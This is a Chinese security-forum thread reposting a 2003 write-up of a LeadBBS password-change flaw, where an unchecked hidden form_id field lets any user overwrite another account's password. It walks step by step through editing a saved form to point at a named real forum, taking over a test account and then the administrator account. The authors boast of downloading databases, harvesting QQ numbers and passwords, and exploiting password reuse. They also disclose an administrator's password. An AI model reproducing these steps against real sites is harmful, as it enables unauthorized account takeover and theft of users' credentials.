|
![]() | 作者: bridex [bridex]
![]() |
登录 |
原文 一个低级不容易发现的漏洞,让我们进入了浪客网络安全联盟BBS的后台. 这是一篇最开始发现LEADBBS漏洞的文章! 这个漏洞大家都知道了。 这里贴出来让大家再看看吧! 文章出至:中国网络脚本安全测试小组 文章作者:臭要饭的! 漏洞提交日期:2003-9-10 21:47:33 漏洞分析 序: 天气不错,非常凉爽,心情也特别的开心,在我们成功的对动网,bbsxp漏洞测试完后。我们又对leadbbs进行测试了. 首先下载了leadbbs的最新版本.解压到 本机.发现了这个bbs写得也不错,特别是对于sql注射方面他们对所提交的参数 一般都做了非常严格的过滤,如果不认真的去分析,可能也不好找出漏洞的. 不过并不是每一个论坛都会采用sql注射的办法,灵活的思维,清醒的头脑也是成功的最重要组成部分. 开工: 第一步:发现漏洞: 当我在认真的找sql注射漏洞的同时,卖身给我说了,他个bbs和浪客的有点相同.看来浪客也是采用的这个bbs了。 呵呵,欲望也不错啊,这个bbs的注射漏洞大体上没有什么.算是还安全吧.(不过我只查找了半个小时的源码,没有什么发现) 这时,卖身又说,他可能存在一个可以修改其他人密码的漏洞,一般的bbs,如果没有想周全都想不到这个洞,也就是脚本编写 人员不太注意了。他这一提醒。我马上打开源代码一看,真的是存在这个漏洞。 //******************************************************************************* 漏洞简述 当自己注册一个用户的时候,修改自己的密码,脚本没有判断旧密码,直接把新改的密码根据用户的id 保存到用户的资料中去的.并没有对这个用户进行判断。试想一下,如果我们修改提交的id值,会出现什么样的情况. 如果你的id为641,如果改成了500.那么你修改的资料就会把id号为500的这个用户的资料修改了. 漏洞代码: function saveformdata form_revmessageflag = request.form("form_revmessageflag") if form_revmessageflag = "1" then form_revmessageflag = 1 else form_revmessageflag = 0 end if form_userlimit = setbinarybit(form_userlimit,13,form_revmessageflag) dim rs,temp set rs = server.createobject("adodb.recordset") rs.open "select top 1 * from leadbbs_user where id=" & form_id,con,1,3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 这条看到没有,直接把for_id 提交到数据库中,进行查找再进行修改. gbl_dbnum = gbl_dbnum + 1 if rs.eof then rs.close set rs = nothing gbl_chk_tempstr = gbl_chk_tempstr & "发生意外错误<br>" & vbcrlf saveformdata = 0 exit function end if =======================================以下是修改数据库中的值============================== rs("mail") = form_mail rs("address") = form_address rs("sex") = form_sex if form_icq = "" then rs("icq") = null else rs("icq") = form_icq end if if form_oicq = "" then rs("oicq") = null else rs("oicq") = form_oicq end if rs("userphoto") = form_userphoto rs("homepage") = form_homepage rs("underwrite") = form_underwrite rs("printunderwrite") = form_printunderwrite rs("pass") = form_password1 if len(form_birthday)=14 then rs("birthday") = form_birthday temp = ccur(left(form_birthday,4)) if temp > 1950 and temp < 2050 then rs("nonglibirth") = gettimevalue(converttonongli(restoretime(form_birthday))) else rs("birthday") = null end if if def_alldefineface = 1 then rs("faceurl") = form_faceurl rs("facewidth") = form_facewidth rs("faceheight") = form_faceheight end if rs("showflag") = form_showflag rs("notsecret") = form_notsecret rs("lastwritetime") = gettimevalue(now) rs("userlimit") = form_userlimit if def_userenableusertitle = 1 and form_userlevel >= def_userusertitleneedlevel then rs("usertitle") = form_usertitle ================================================over==================================================== rs.update // 这就是提交修改. rs.close set rs = nothing ..............略去一部分无用代码....... end function%> //******************************************************************************* 攻击演示 第二步:测试漏洞 到浪客网站注册一个账号,再看看是不是和这个代码所表现的相同。登陆进去后,修改自己的资料,发现并没有要求我填写自己 的旧密码,哈哈。这时多半都成功了。现在我们在新注册用户列表中,查到自己的编号(也就是库中的id号)为:8317 好了,现在我们把他的页面另存为一个htm文件保存到自己的电脑中,看一下那个id号放在什么地方的。用记事本打开,html代码如下: <form action=usermodify.asp method=post name=form1 onsubmit="submitonce(this);return validationpassed"> 上面提交的地方 我们也改成:action=http://www.longker.com/bbs/user/usermodify.asp ..................略掉一部分代码............. <tr> <td align=middle height=25> <p>*用户名称: </p></td> <td height=25> <p>ohyes </p></td></tr> <tr> <td align=middle height=25> <p>*你的密码: </p></td> <td height=25> <input class=fminpt name=submitflag type=hidden value=29d98sasphouseasp8asphnet> <input class=fminpt name=form_id type=hidden value=8317> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 看到没有上面就是保存了你的id值。不过他用了type=hidden所以在html中你看不到,是隐藏的我们改一下代码 <input class=fminpt name=form_id value=8317> //去掉隐藏.这样就可以在ie中显示出来了.你就可以随便输入 一个id值来改这个人的资料了. <input class=fminpt maxlength=20 name=form_password1 size=14 type=password value=comm> </td></tr> <tr> <td align=middle height=25> <p>*验证密码: </p></td> <td height=25><input class=fminpt maxlength=20 name=form_password2 size=14 type=password value=comm> </td></tr> <tr> ..................略掉其他的,都是输入qq,email,地址之类的无用代码不看了.................. 编辑好后,取个名字叫:ok.htm 呵呵~!・ 好了,我们现在测试一下看对不对?并不要急于去修改管理员的资料,先再注册一个id再试试. 我又注册了一个id,得到id为:8318,密码为:inputyfd 打开我们的ok.htm输入id号:8318,密码改成:inputyfd1 试试看. 提交,ie显示成功,并把8318的资料显示了出来,看来都已经成功了。用8318这个id登陆再确定一下。 输入密码:inputyfd 提示密码错误,哈哈,再输入inputyfd1提示密码成功.看来我们就真正的修改了这个这个人的资料。 第三步:更改管理员的密码,进入后台管理.(以下部分,由于本人断线,所有工作由卖身完成!) 在管理员列表中,我发现了,欲望的id号为:980 ,admin的id值为1. 好。继续。一样打开ok.htm 把admin的id填上 。把密码改为testtest。 ok.提交成功,呵呵,现在用admin的账号登陆。进入管理。哈哈。。一切的一切都在眼前了。呵呵~!! 看看管理人员吧。结果发现欲望的密码为wocaonimother。晕吧! 你还想做什么呢?下载数据库,得到里面的敏感信息?呵呵,真的吗??? 结束语: 近来对各大bbs官方论坛,以及对一些黑客站点的论坛进行了安全测试,都或多或少的发现了一些漏洞。并利用这些漏洞 成功的得到了管理账号.看来中国的网络安全真的有待于进一步的发展,有待于我们脚本开发人员水平的提高! //////////////////////////////////////////////////// 这个洞让我们下了很多个数据库. 然后写了程序得到数据库中的QQ号码! 和论坛的密码。 其中社会工程学中提到过有10%的人用一个密码做很多个账号的密码。 结果出来了。 只要写了QQ号码的账号。 100个QQ号。有12左右论坛密码就是他的QQ密码。 大多都是生日,电话号码,要不就是特别的字符! |
地主 发表时间: 04-02-25 15:38 |
![]() | 回复: bridex [bridex] ![]() |
登录 |
以前 很多论坛都存在 文件显密码 |
B1层 发表时间: 04-03-19 22:59 |
![]() | 回复: wangsong [wangsong] ![]() |
登录 |
![]() |
B2层 发表时间: 04-03-21 16:18 |
![]() | 回复: nebulae [nebulae] ![]() |
登录 |
![]() ![]() ![]() ![]() ![]() ![]() ![]() |
B3层 发表时间: 05-04-02 23:22 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号